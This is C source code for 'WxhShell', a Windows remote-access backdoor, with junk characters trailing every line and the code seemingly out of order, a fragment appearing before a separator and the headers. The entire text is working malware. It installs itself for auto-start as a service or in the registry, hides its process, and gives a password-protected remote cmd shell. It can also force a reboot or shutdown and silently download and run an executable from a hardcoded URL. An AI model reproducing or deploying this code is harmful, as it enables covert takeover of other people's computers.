    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &mW7FR'(  
    else { cyLl,OA  
    closesocket(wsh); .VR ~[aD  
    ExitThread(0); a/v]E]=qI  
    } E/hT/BOPK  
    break; cij8'( "+!  
    } oiIl\#C  
  // 获取shell ,1g_{dMx  
  case 's': { J )^F  
    CmdShell(wsh); 9[`c"Pd  
    closesocket(wsh); d-C%R9  
    ExitThread(0); ;[79Ewd#$  
    break; joDqv,iW8  
  } `M*jrkM]x  
  // 退出 op@=0d??  
  case 'x': { Dpwqg3,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bSz@@s.  
    CloseIt(wsh); V%{WH}  
    break; ek.@ 0c  
    } rq^%)tR  
  // 离开 =k*XGbU  
  case 'q': { s3T7M:DM4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [K@(,/$  
    closesocket(wsh); c|d,:u#  
    WSACleanup(); '7pzw>E=:  
    exit(1); RH:vd|q+  
    break; <@# g2b  
        } Y]=k"]:%  
  } "hQGk  
  } cRMyYdJ o  
q`'"+`h  
  // 提示信息 t`'jr=e,~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LXWI'nxV  
} {n&n^`Em  
  } Z)IF3{*  
D)bL;h  
  return; xFekSH7[F  
} 6O/c%1VHA3  
)Fp$ *]|  
// shell模块句柄 S8B?uU  
int CmdShell(SOCKET sock) ZqdoYU'  
{ nbB*d@"  
STARTUPINFO si; ,  O/IY  
ZeroMemory(&si,sizeof(si)); : 5['V#(o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u;]xAr1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `a:3S@n(}  
PROCESS_INFORMATION ProcessInfo; ]=%6n@z'  
char cmdline[]="cmd"; Fw*O ciC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2y \ogF  
  return 0; zRa2iCi  
} ar\ K8mj  
*7-rm  
// 自身启动模式 ' tHa5`  
int StartFromService(void) }zS5o [OE  
{ H] g=( %ok  
typedef struct 0{uaSR  
{ 9R2"(.U  
  DWORD ExitStatus; /Wcx%P  
  DWORD PebBaseAddress; n*Dn{ 7v#z  
  DWORD AffinityMask; 5~/EAK`  
  DWORD BasePriority; ?;_>BX|Zjl  
  ULONG UniqueProcessId; 6bc\ )n`  
  ULONG InheritedFromUniqueProcessId; @D !*@M6  
}   PROCESS_BASIC_INFORMATION; x;sc?5_`  
u#rbc"  
PROCNTQSIP NtQueryInformationProcess; a|= ^   
vG.KSA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  BdiV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~ +>e hU  
(5E09K$  
  HANDLE             hProcess; UPP"-`t  
  PROCESS_BASIC_INFORMATION pbi; #qmsZHd}b  
3^nH>f-Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !4cY^4>o  
  if(NULL == hInst ) return 0; ^[r1Dk  
;gZ/i93:Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *Ow2,{Nn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W;cY g.W2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tk*-Cx?_  
+t%2V?  
  if (!NtQueryInformationProcess) return 0; ;9WUt,R  
W7b m}JHn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); },#7  
  if(!hProcess) return 0; p}h.2)PO  
rX /'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +&S6se4  
n}[S  
  CloseHandle(hProcess); ;1PJS_@rX  
+-(,'slov  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JKfJ%yy |  
if(hProcess==NULL) return 0; }% q-9  
enZZ+|h  
HMODULE hMod; >$9}"  
char procName[255]; b}ya9tCl;  
unsigned long cbNeeded; A)3H`L  
Osm))Ua(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _<{<b  
9]w?mHslE  
  CloseHandle(hProcess); W+63B8)4  
[:#K_EI5%  
if(strstr(procName,"services")) return 1; // 以服务启动 knYp"<qj  
'sH_^{V2  
  return 0; // 注册表启动 6 iMJ0  
} c`p '5qz  
<$zhNu~  
// 主模块 M2|h.+[Q  
int StartWxhshell(LPSTR lpCmdLine) (DY[OIHI  
{ Xpn\TD<_I  
  SOCKET wsl; \.O&-oi  
BOOL val=TRUE; Wh| T3&  
  int port=0; /z4c>)fV  
  struct sockaddr_in door; Y8]@y0(  
2vLun   
  if(wscfg.ws_autoins) Install(); z)U7  
Dqii60  
port=atoi(lpCmdLine); |u^S}"@3sU  
:o{,F7(P  
if(port<=0) port=wscfg.ws_port; Gj-nT N  
e%L[bGW'  
  WSADATA data; ;*<R~HJt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [8IO0lul+  
WEe7\bWF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4F G0'J&hw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M1xsGa9h&  
  door.sin_family = AF_INET; oV0 45G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &=jPt%7#M  
  door.sin_port = htons(port); 6Q [  
>FwK_Zd'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |r Aot2  
closesocket(wsl); zA>X+JH>iw  
return 1; !|xB>d q?  
} t~j 6wsx;  
\q1tT!]  
  if(listen(wsl,2) == INVALID_SOCKET) { $1|E(d1  
closesocket(wsl); Vez8 ~r3  
return 1; N;'c4=M~(  
} fxPg"R!1i  
  Wxhshell(wsl); f%@~|:G:  
  WSACleanup(); =dDPQZEin  
`sT;\  
return 0; lMGO4U[z  
m","m  
} ?l?l<`sTO  
=3-?$  
// 以NT服务方式启动 {<gv1Yht  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y06^M?}  
{ {@)ZXg  
DWORD   status = 0; 4 O8ct,Y  
  DWORD   specificError = 0xfffffff; h Fv{?v  
oH%[8!#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I{g.V|+ x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ApeqbD5g&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IoLi7NKw  
  serviceStatus.dwWin32ExitCode     = 0; s__xBY  
  serviceStatus.dwServiceSpecificExitCode = 0; "d$~}=a[  
  serviceStatus.dwCheckPoint       = 0; ;un@E:  
  serviceStatus.dwWaitHint       = 0; z80P5^9  
bc'IoD/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2wY|E<E  
  if (hServiceStatusHandle==0) return; ,.QJ S6Yv  
^_Hf}8H7]  
status = GetLastError(); G5/A {1sz&  
  if (status!=NO_ERROR) 2@6@|jRG  
{ <z,)4z++  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ==m[t- 9x  
    serviceStatus.dwCheckPoint       = 0; ^BA%]pe$I  
    serviceStatus.dwWaitHint       = 0; Mg`!tFe3  
    serviceStatus.dwWin32ExitCode     = status; Dc-K08c  
    serviceStatus.dwServiceSpecificExitCode = specificError; .5G`Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jjj<B'zt  
    return; T3z ovnR  
  } ]5f;Kz)  
{V QGfN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f_S$CFa@  
  serviceStatus.dwCheckPoint       = 0; 6Bjo9,L  
  serviceStatus.dwWaitHint       = 0; }OAU5P!rp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hbx4[Pf  
} >z\IO  
C(G.yd  
// 处理NT服务事件,比如:启动、停止 p!YK~cH[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3?*d v14  
{ ~k?rP}>0  
switch(fdwControl) +zMPkbP6  
{ #!R>`l(S  
case SERVICE_CONTROL_STOP: =Z:] %  
  serviceStatus.dwWin32ExitCode = 0; Mc@9ivwL#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JfN5#+_i  
  serviceStatus.dwCheckPoint   = 0; !t23 _b0  
  serviceStatus.dwWaitHint     = 0;  *XhlIQ  
  { =){ G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uxU-N  
  } cWkg.ri-x  
  return; dRJ ](Gw  
case SERVICE_CONTROL_PAUSE: 'OtT q8G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fAULuF  
  break; -`k>(\Q< d  
case SERVICE_CONTROL_CONTINUE: i86:@/4~F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F5Xb_&   
  break; TI7$J#  
case SERVICE_CONTROL_INTERROGATE: X#&5?oq`  
  break; 5eori8gr7  
}; FQ<x(&/NF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V pnk>GWD  
} ,_kw}_n=  
jy!]MAP#Gk  
// 标准应用程序主函数 gS +X%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M#'7hm6  
{ &IUA[{o~e  
~][~aEat;V  
// 获取操作系统版本 03fOm  
OsIsNt=GetOsVer(); / (BS<A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3$ ! QP N  
#Zm`*s`  
  // 从命令行安装 PK:Lv15"r  
  if(strpbrk(lpCmdLine,"iI")) Install(); TRi#  
FTZ=u0  
  // 下载执行文件 );.$  `0  
if(wscfg.ws_downexe) { =Q_1Mr4O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JU>~[yAP  
  WinExec(wscfg.ws_filenam,SW_HIDE); b\(f>g[  
} PuP"( M  
`nyz,  
if(!OsIsNt) { uQO5GDuK>  
// 如果时win9x,隐藏进程并且设置为注册表启动 m0bxVV^DK!  
HideProc(); r*`e%`HU  
StartWxhshell(lpCmdLine); 9!n:hhJM  
} l7VO8p]y[R  
else Z?o0Q\ }1  
  if(StartFromService()) aze#Cn,P}  
  // 以服务方式启动 4@0aN6Os  
  StartServiceCtrlDispatcher(DispatchTable); MeBTc&S<  
else DS(>R!bb  
  // 普通方式启动  ImhkU%  
  StartWxhshell(lpCmdLine); |M7C=z='  
cj2Smgw&>  
return 0; ]eGa_Ld  
} -w"I  
o!BCR:  
%>*?uO`z[  
UJ}}H}{  
=========================================== R@3HlGuRKw  
8`*5[ L~~/  
$ Lstq_x+  
u* pQVU  
eQ[akVMk  
lu{ *]!  
" j-1V,V=  
~%*l>GkP*  
#include <stdio.h> R1LirZlzJ  
#include <string.h> IE\RP!  
#include <windows.h> @H?OHpJ"`  
#include <winsock2.h> K`N$nOw  
#include <winsvc.h> l\{Qnb(  
#include <urlmon.h> *,X)tZ6VX  
}SSg>.48w  
#pragma comment (lib, "Ws2_32.lib") viG=Ap.Th  
#pragma comment (lib, "urlmon.lib") 6n2RTH  
R9A:"sJ  
#define MAX_USER   100 // 最大客户端连接数 2@a'n@-  
#define BUF_SOCK   200 // sock buffer KJT N"hF   
#define KEY_BUFF   255 // 输入 buffer T/|!^qLF  
\2/X$x<?X  
#define REBOOT     0   // 重启 _ooHB>sH  
#define SHUTDOWN   1   // 关机 t[!,puZc#  
M#^q <K %  
#define DEF_PORT   5000 // 监听端口 i`@cVYsL  
Lmjd,t  
#define REG_LEN     16   // 注册表键长度 Gk5'|s  
#define SVC_LEN     80   // NT服务名长度 ]#M"|iTR  
2*D2jw  
// 从dll定义API ;b [>{Q;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X]}ai5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); co\?SgE35  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TYuP EVEXZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ODu/B'*  
oX)a6FXK>  
// wxhshell配置信息 <. Tllk@r)  
struct WSCFG { O;VqrO  
  int ws_port;         // 监听端口 -btNwE6[.  
  char ws_passstr[REG_LEN]; // 口令 TE&E f$h  
  int ws_autoins;       // 安装标记, 1=yes 0=no =M 8Mt/P  
  char ws_regname[REG_LEN]; // 注册表键名 ;*qXjv& K  
  char ws_svcname[REG_LEN]; // 服务名 v>K|hH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;0WAfu}#H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <T7@,_T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S<]k0bC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ia](CN*;6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c= 2E/x?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C3 "EZe[R  
<IR@/b!,  
}; i-0 :Fs  
;fqp!|J  
// default Wxhshell configuration LF.i0^#J  
struct WSCFG wscfg={DEF_PORT, 4mY^pQ1=L  
    "xuhuanlingzhe", EO+Ix7w  
    1, TQeIAy  
    "Wxhshell", ;VCV%=W<  
    "Wxhshell", MMa`}wSs  
            "WxhShell Service", E*)A!2rlK  
    "Wrsky Windows CmdShell Service", S3x^#83  
    "Please Input Your Password: ", *}:P  
  1, PYQ  
  "http://www.wrsky.com/wxhshell.exe", VT>-*  
  "Wxhshell.exe" d >L8S L  
    }; i/!{k2  
){GJgk|P  
// 消息定义模块 51s\)d%l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rs4:jS$)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;,Vdj[W$>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _RcEfT  
char *msg_ws_ext="\n\rExit."; * g+v*q X  
char *msg_ws_end="\n\rQuit."; o7we'1(O  
char *msg_ws_boot="\n\rReboot..."; im<!JMI  
char *msg_ws_poff="\n\rShutdown..."; C|H`.|Q  
char *msg_ws_down="\n\rSave to "; gm]q<~eMW  
?z)2\D  
char *msg_ws_err="\n\rErr!"; \Yp"D7:Qi  
char *msg_ws_ok="\n\rOK!"; t#M[w|5?  
';.TQ_I7Y  
char ExeFile[MAX_PATH]; o$bQ-_B`  
int nUser = 0; Y]R=z*i%  
HANDLE handles[MAX_USER]; EO'+r[Y  
int OsIsNt; ,FYA*}[  
Q +hOW-  
SERVICE_STATUS       serviceStatus; br0\O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gz'{l[  
xz@*V>QT  
// 函数声明 ly!3~W  
int Install(void); *W2] Kxx*  
int Uninstall(void); bg3kGt0  
int DownloadFile(char *sURL, SOCKET wsh); c5f57Z  
int Boot(int flag); hTAc}'^$  
void HideProc(void); $igMk'%Nmb  
int GetOsVer(void); dG3?(}p+  
int Wxhshell(SOCKET wsl); w2 (}pz:  
void TalkWithClient(void *cs); unYPvrd  
int CmdShell(SOCKET sock); oVuIHb0w  
int StartFromService(void); 5Mxl({oI]  
int StartWxhshell(LPSTR lpCmdLine); cJT_Qfxx  
%\v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k!qOE\%B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5Q}HLjG8Z  
!bK;/)  
// 数据结构和表定义 #/(L.5d[  
SERVICE_TABLE_ENTRY DispatchTable[] = 6UN{Vjr%`  
{ qYqd-R  
{wscfg.ws_svcname, NTServiceMain}, 9%k4Ic%P  
{NULL, NULL} ! , ]Fx  
}; '#K~hep  
ZnbpIJ8cV  
// 自我安装 JKYtBXOl  
int Install(void) M9Z9s11{H  
{ pOy(XUV9O  
  char svExeFile[MAX_PATH]; S-6i5H"B&  
  HKEY key; |a1zJ_t4  
  strcpy(svExeFile,ExeFile); U GOe(JB  
4`CO>Q  
// 如果是win9x系统,修改注册表设为自启动 M(^IRI-  
if(!OsIsNt) { GYT0zMMf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @uxg;dyI~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Exi#@-  
  RegCloseKey(key); >hnhV6ss  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }&ew}'*9)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qqYQ/4Ajw  
  RegCloseKey(key); 5=poe@1g  
  return 0; `EP-Qlm  
    } 3wgZDF38  
  } T2T?)_f /  
} W.7u6F`  
else { h 1j1PRE  
aIfB^M*c5  
// 如果是NT以上系统,安装为系统服务 w `M/0.)V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,;= S\  
if (schSCManager!=0) iQh:y:Jo1&  
{ p{V(! v|  
  SC_HANDLE schService = CreateService + L 5  
  ( j,_{f =3;  
  schSCManager, f`J[u!Ja  
  wscfg.ws_svcname, s;[64ca]Q  
  wscfg.ws_svcdisp, Q!fk|D+j  
  SERVICE_ALL_ACCESS, HBa6Y&)<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G)5Uiu:^X  
  SERVICE_AUTO_START, /X\:3P  
  SERVICE_ERROR_NORMAL, e+MsFXnB8  
  svExeFile, .fzns20u  
  NULL, +zFEx%3^  
  NULL, G|$n,X1O(  
  NULL, su=]gE@  
  NULL, y3 S T"U  
  NULL |R Qa.^.  
  ); .w~L0(  
  if (schService!=0) 1rmN)  
  { sMw"C~XL  
  CloseServiceHandle(schService); }Oy/F  
  CloseServiceHandle(schSCManager); >F!X'#Iv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~;uW) [  
  strcat(svExeFile,wscfg.ws_svcname); T 6rjtq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { du=[r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jAFJ?L(  
  RegCloseKey(key); x A ZRl  
  return 0; WoMMAo~  
    } 0[OlJMVf  
  } 6<Zk%[7t  
  CloseServiceHandle(schSCManager); kL}*,8s{  
}  YP}r15P  
} )% ?SWuS?N  
u z>V  
return 1; 1w?DSHe  
} Su`] ku'  
Fc"+L+h@W  
// 自我卸载  O6!:Qd  
int Uninstall(void) EO.}{1m=hx  
{ 7!, p,|K  
  HKEY key; $5yH8JU  
D|5Fo'O^AV  
if(!OsIsNt) { r%oXO]X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M#]URS2h<O  
  RegDeleteValue(key,wscfg.ws_regname); u&Y1,:hiL  
  RegCloseKey(key); C'0=eel[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .$-%rU:*}  
  RegDeleteValue(key,wscfg.ws_regname); 1\Vp[^#Vx  
  RegCloseKey(key); !% yd'"6Dl  
  return 0; U[l{cRT   
  } 7vsXfIP+  
} {cYbM[}U"  
} BO=j*.YKy  
else { :sb+jk  
"C%* 'k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^cYt4NHXn  
if (schSCManager!=0) PxZMH=  
{ xXc3#n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,HO@bCK  
  if (schService!=0) Q\v^3u2;m`  
  { k'Z$#  
  if(DeleteService(schService)!=0) { g`zC0~D2  
  CloseServiceHandle(schService); qgLj^{  
  CloseServiceHandle(schSCManager); ]a=Bc~g91  
  return 0; !xZ`()D#  
  } '4d+!%2t  
  CloseServiceHandle(schService); q1o)l  
  } \wo'XF3:  
  CloseServiceHandle(schSCManager); ID v|i.q3  
} r*s)T`T}}  
} |h1 Y3  
syLpnNx=  
return 1; FZhjI 8+,~  
} !_UBw7Zm  
79(Px2H2  
// 从指定url下载文件 HTUY|^^D  
int DownloadFile(char *sURL, SOCKET wsh) ~C2[5r{So  
{ -7l)mk  
  HRESULT hr; &8wluOs/5  
char seps[]= "/"; 3sq(FsT  
char *token; J#& C&S 2  
char *file; p^QB^HEV  
char myURL[MAX_PATH]; d#G H4+C  
char myFILE[MAX_PATH]; o8lwwM*  
-nrfu)G  
strcpy(myURL,sURL); e!~x-P5M`  
  token=strtok(myURL,seps); }fKpih  
  while(token!=NULL) 27KfT] =  
  { a7Rg!%r  
    file=token; g{06d~Y  
  token=strtok(NULL,seps); cH%#qE3  
  } b:}+l;e5 2  
\a\ApD  
GetCurrentDirectory(MAX_PATH,myFILE); JmK[7t  
strcat(myFILE, "\\"); /_*L8b  
strcat(myFILE, file); {]\!vG6  
  send(wsh,myFILE,strlen(myFILE),0); 14v,z;HXj  
send(wsh,"...",3,0);  =:-x;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YV0K&d  
  if(hr==S_OK) bfjtNF*^  
return 0; *z A1NH5  
else UA}oOteG  
return 1; 2r=A'  
v'zf*]9  
} 5 5T c  
c,I|O' &k  
// 系统电源模块 h .$3 jNU  
int Boot(int flag) C6C7*ks  
{  Z,osdF  
  HANDLE hToken; |YAnd=$  
  TOKEN_PRIVILEGES tkp; ^g56:j~?  
77I D 82  
  if(OsIsNt) { 4h[^!up.7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &<sN( ;%0R  
    tkp.PrivilegeCount = 1; Q@lJ|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7 n=fB#!*3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ( nH3  
if(flag==REBOOT) { M _z-~G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `o~9a N  
  return 0; m mj6YQ0a  
} isP4*g&%x  
else { IuQY~!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SrVJ Q~ :>  
  return 0; `<L6Q2Y>j  
} { +%S{=j  
  } ~^Y(f'{  
  else { U\A*${  
if(flag==REBOOT) { -IB~lw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $fE$j {  
  return 0; 'nM)=  
} M/,jHG8v  
else { &<P!o_+eb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?*Kewj  
  return 0; #'-L`])7uw  
} &\0`\#R  
} u&>o1!c*P  
huau(s0um  
return 1; ^r<bi%@C$  
} e>kw>%3bl9  
`"E|  
// win9x进程隐藏模块 F_$K+6  
void HideProc(void) v?7.)2XcX  
{ (Js'(tBhiU  
>_y>["u6J#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7='M&Za  
  if ( hKernel != NULL ) U9KnW]O%"  
  { ;Vad| -  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K6.*)7$#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "(+ >#  
    FreeLibrary(hKernel); 46dh@&U  
  } EnrRnVB  
'~E&^K5hr  
return; 5UwaBPj4  
} By 8C-jD  
TY,w3E_  
// 获取操作系统版本 (,E.1j]ji  
int GetOsVer(void) shlL(&Py  
{ .jh uC#x{/  
  OSVERSIONINFO winfo; #GYCU!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PT|W{RlNl  
  GetVersionEx(&winfo); $zTjh~ 9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dOFxzk,g&R  
  return 1; wL2d.$?TEg  
  else CW Y'q  
  return 0; tF)aNtX4^  
} RkN a;j)t  
$o`N%]  
// 客户端句柄模块 kg$<^:uX  
int Wxhshell(SOCKET wsl) ~h;c3#wuc  
{ +[JGi"ca  
  SOCKET wsh; .(  vS/  
  struct sockaddr_in client; 5M~\'\;  
  DWORD myID; '$M=H.  
:Q\b$=,:  
  while(nUser<MAX_USER) Xv'M\T}6C+  
{ `n7z+  
  int nSize=sizeof(client); HzM^Zn57%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e jwFQ'wTx  
  if(wsh==INVALID_SOCKET) return 1; d;ElqRC&  
H;<hmbN?d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h]<Ld9  
if(handles[nUser]==0) ;b$(T5  
  closesocket(wsh); aIk%$Mat  
else YSt']  
  nUser++; ~_SV `io  
  } -\j}le6;c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LD WFc_  
D a)[mxJ  
  return 0; CCX\"-C  
} [t /hjm"$  
g[j"]~  
// 关闭 socket <Ja>  
void CloseIt(SOCKET wsh) ,k/*f+t  
{ +GWeu0b(~  
closesocket(wsh); -lyT8qZ:(  
nUser--; 4.7ePbk[E  
ExitThread(0); S"w$#"EJA  
} kzGD *  
RaAi9b[/S  
// 客户端请求句柄 Fk>/  
void TalkWithClient(void *cs) UR?[ba_h   
{ iwL\Ha  
8@qYzSx[  
  SOCKET wsh=(SOCKET)cs; 8J%^gy>m]  
  char pwd[SVC_LEN]; ;t@zH+*}  
  char cmd[KEY_BUFF]; . #;ZM[v  
char chr[1]; `jJ5us  
int i,j; ~;|  
GLL,  
  while (nUser < MAX_USER) { iy8U rgG;l  
U\y];\~H  
if(wscfg.ws_passstr) { [[?:,6I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RNiZ2:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b IcLMG s  
  //ZeroMemory(pwd,KEY_BUFF); zHr1FxD  
      i=0; lx~!FLn  
  while(i<SVC_LEN) { Ud:v3"1  
2<y E3:VX  
  // 设置超时 C]-Z+9Vvv  
  fd_set FdRead; OUe@U;l{Z  
  struct timeval TimeOut; Rw*l#cr=.  
  FD_ZERO(&FdRead); &D uvy#J  
  FD_SET(wsh,&FdRead); IyYC).wU}  
  TimeOut.tv_sec=8; T<DQi  
  TimeOut.tv_usec=0; by& #g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1Af~6jz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C2,,+* v  
cxrUk$f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T?)?"b\qz  
  pwd=chr[0]; :=^JHE{  
  if(chr[0]==0xd || chr[0]==0xa) { %? _pSH}$!  
  pwd=0; ;&P%A<[`  
  break; JMw1qPJQ  
  } r<Ll>R  
  i++; xe|o( !(  
    } wCvtw[6  
y_38;8ex  
  // 如果是非法用户,关闭 socket YQiTx)_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VLc=!W}  
} mTW0_!.  
$TL~SVHj;{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kh 1 7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ DVAk|fc  
g% #" 5Kr  
while(1) { >tqLwC."'  
2IqsBK`  
  ZeroMemory(cmd,KEY_BUFF); w:Tz&$&Y$  
93[c^sc9*a  
      // 自动支持客户端 telnet标准   v$w!hYsQ  
  j=0; h2!We#  
  while(j<KEY_BUFF) { \Zqgr/.w/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;4Y@xS2M  
  cmd[j]=chr[0]; qn6Y(@<[  
  if(chr[0]==0xa || chr[0]==0xd) { [(w _!|S  
  cmd[j]=0; ^/2n[orl5  
  break; V(A6>0s$|  
  } 7<oLe3fbM  
  j++; a [iC!F2  
    }  Jt.dR6,  
q*\ #H C  
  // 下载文件 uv}[MXOP  
  if(strstr(cmd,"http://")) { ,+KZn}>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7Nw7a;h  
  if(DownloadFile(cmd,wsh)) ;-lk#D?n9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +L!-JrYHS4  
  else \('8 _tqI"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y>{K2#k  
  } ,g#=pdX;  
  else { k;R*mg*K  
Ti!j  
    switch(cmd[0]) { QSW62]=vV  
  /);cl;"  
  // 帮助 f:GZb?Wyd  
  case '?': { dOqn0Z  
